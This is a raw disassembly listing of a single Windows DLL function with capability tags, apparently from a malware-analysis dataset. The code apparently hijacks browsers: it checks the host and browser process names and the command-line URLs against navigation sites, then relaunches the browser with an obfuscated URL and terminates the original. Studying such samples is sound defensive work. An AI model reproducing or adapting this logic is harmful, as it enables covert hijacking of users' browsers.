Function at 0x10001000
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
sub esp, 0x67c
mov eax, dword [0x10014004]
xor eax, esp
mov dword [esp + 0x678], eax
mov eax, dword [esp + 0x684]
sub eax, 1
push ebx
push ebp
push esi
push edi
jne 0x100016f8
push 0x208
call fcn.1000533e
mov esi, eax
push 0x208
mov dword [esp + 0x18], esi
call fcn.1000533e
push 0x208
mov ebp, eax
call fcn.1000533e
add esp, 0xc
mov ebx, eax
test esi, esi
je 0x100016f8
test ebp, ebp
je 0x100016f8
test ebx, ebx
je 0x100016f8
mov eax, ebp
call fcn.100023b0
push 1
mov esi, 0x10011bb8
call fcn.10002440
push 1
mov esi, 0x10011bc0
mov edi, eax
call fcn.10002440
push 0
mov esi, str.quick
mov dword [esp + 0x24], eax
call fcn.10002440
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov ecx, str.explorer.exe
call fcn.100024a0
mov esi, dword [esp + 0x10]
test eax, eax
jne 0x1000110d
mov eax, esi
mov ecx, str.360DesktopLite.exe
call fcn.100024a0
test eax, eax
jne 0x1000110d
mov eax, esi
mov ecx, str.kxetray.exe
call fcn.100024a0
test eax, eax
jne 0x1000110d
mov eax, esi
mov ecx, str.360DeskAna.exe
call fcn.100024a0
test eax, eax
jne 0x1000110d
mov eax, esi
mov ecx, str.SoftMgrLite.exe
call fcn.100024a0
test eax, eax
jne 0x1000110d
mov eax, esi
mov ecx, str.SMLHelper64.exe
call fcn.100024a0
test eax, eax
je 0x1000169c
test edi, edi
je 0x1000169c
mov eax, ebp
mov ecx, str.iexplore.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.chrome.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str._shouxin.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str._baidubrowser.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.hao123browser.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.Juzi.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.liebao.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.launcher.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.QQBrowser.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.Safari.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.2345Explorer.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.2345chrome.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str._firefox.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.MxStart.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str._rccb.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.SogouExplorer.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.TheWorld.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.UCBrowser.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.ADSafeSe.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.YYExplorer.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.TaoBrowser.exe
call fcn.100024a0
test eax, eax
jne 0x100012d0
mov eax, ebp
mov ecx, str.360se.exe
call fcn.100024a0
test eax, eax
jne 0x100012c5
mov eax, ebp
mov ecx, str.360chrome.exe
call fcn.100024a0
test eax, eax
je 0x1000169c
cmp dword [esp + 0x18], 0
je 0x1000169c
cmp dword [esp + 0x14], 0
je 0x1000143f
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea eax, [esp + 0x14]
push eax
call esi
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x14], 1
jle 0x1000143f
push 0x208
push 0
push ebx
call fcn.1000a3d0
add esp, 0xc
call esi
mov edx, ebx
mov edi, edi
movzx ecx, word [eax]
mov word [edx], cx
add eax, 2
add edx, 2
test cx, cx
jne 0x10001310
mov eax, ebx
mov ecx, str._:
call fcn.100024a0
test eax, eax
je 0x1000134f
push ebx
call fcn.10005261
mov ecx, dword [esp + 0x14]
push ecx
call fcn.10005261
push ebp
call fcn.10005261
add esp, 0xc
jmp 0x100016f8
push str..com
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x10001389
push 0x10011fcc
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x10001389
push str..gov
push ebx
call fcn.10005408
add esp, 8
test eax, eax
je 0x1000143f
push str.123.sogo.com
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x1000143f
push str.daohang.qq.com
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x1000143f
push str.hao.360.cn
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x1000143f
push str.hao123.com
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x1000143f
push str.2345.com
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x1000143f
push str.hao.2345.com
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x1000143f
push str.duba.com
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x1000143f
push str.hao774.com
push ebx
call fcn.10005408
add esp, 8
test eax, eax
jne 0x1000143f
push ebx
call fcn.10005261
mov edx, dword [esp + 0x14]
push edx
call fcn.10005261
push ebp
call fcn.10005261
add esp, 0xc
jmp 0x100016f8
push 0x208
lea eax, [esp + 0x74]
push 0
push eax
call fcn.1000a3d0
push 0x208
lea ecx, [esp + 0x490]
push 0
push ecx
call fcn.1000a3d0
push 0x208
lea edx, [esp + 0x294]
push 0
push edx
call fcn.1000a3d0
add esp, 0x24
mov eax, ebp
mov ecx, str.QQBrowser.exe
call fcn.100024a0
test eax, eax
jne 0x100014b7
mov eax, ebp
mov ecx, str.2345Explorer.exe
call fcn.100024a0
test eax, eax
jne 0x100014b7
mov eax, ebp
mov ecx, str.2345chrome.exe
call fcn.100024a0
test eax, eax
jne 0x100014b7
mov edi, str.ivwt_56
mov esi, 0x10012124
jmp 0x100014c1
mov edi, str.ivwt_569181_:4___473um6puoo5
mov esi, 0x100120e4
lea ebx, [esp + 0x278]
call fcn.100022a0
lea eax, [esp + 0x480]
push eax
mov ecx, ebx
call fcn.100025e0
add esp, 4
xor eax, eax
movzx ecx, word [eax + 0x1001212c]
mov word [esp + eax + 0x70], cx
add eax, 2
test cx, cx
jne 0x100014e1
mov eax, ebp
mov ecx, str.SogouExplorer.exe
call fcn.100024a0
test eax, eax
jne 0x1000156c
mov eax, ebp
mov ecx, str.UCBrowser.exe
call fcn.100024a0
test eax, eax
jne 0x1000156c
mov eax, ebp
mov ecx, str.MxStart.exe
call fcn.100024a0
test eax, eax
jne 0x1000156c
mov ecx, ebp
jmp 0x10001530
mov ax, word [ebp]
add ebp, 2
test ax, ax
jne 0x10001530
lea edi, [esp + 0x70]
sub ebp, ecx
mov esi, ecx
add edi, 0xfffffffe
jmp 0x10001550
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10001550
mov ecx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x100015b8
call fcn.10001ff0
lea edi, [esp + 0x70]
add edi, 0xfffffffe
cmp eax, 0x20
jne 0x100015a0
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10001580
mov ecx, 0x18
mov esi, 0x10012130
jmp 0x100015b6
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100015a0
mov ecx, 0x1b
mov esi, str.C:Program_Files__x86_Internet_Exploreriexplore.exe
rep movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x70]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100015c0
mov ecx, dword [0x1001212c]
mov dword [edi], ecx
lea edi, [esp + 0x70]
add edi, 0xfffffffe
jmp 0x100015e0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100015e0
mov edx, dword [0x100121fc]
lea eax, [esp + 0x480]
mov dword [edi], edx
mov edx, eax
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001600
lea edi, [esp + 0x70]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001614
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x44
lea eax, [esp + 0x30]
and ecx, 3
push 0
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.1000a3d0
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x30]
push edx
push eax
push eax
push eax
push 1
push eax
push eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
lea eax, [esp + 0x90]
push eax
push 0
mov dword [esp + 0x54], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001694
mov ecx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x20]
push edx
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, ebp
mov ecx, str.explorer.exe
call fcn.100024a0
test eax, eax
je 0x100016e9
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10001860
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10001eb0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10001870
push 0
push 0
call esi
mov esi, dword [esp + 0x10]
push esi
call fcn.10005261
push ebp
call fcn.10005261
add esp, 8
mov ecx, dword [esp + 0x688]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10005252
add esp, 0x67c
ret 0xc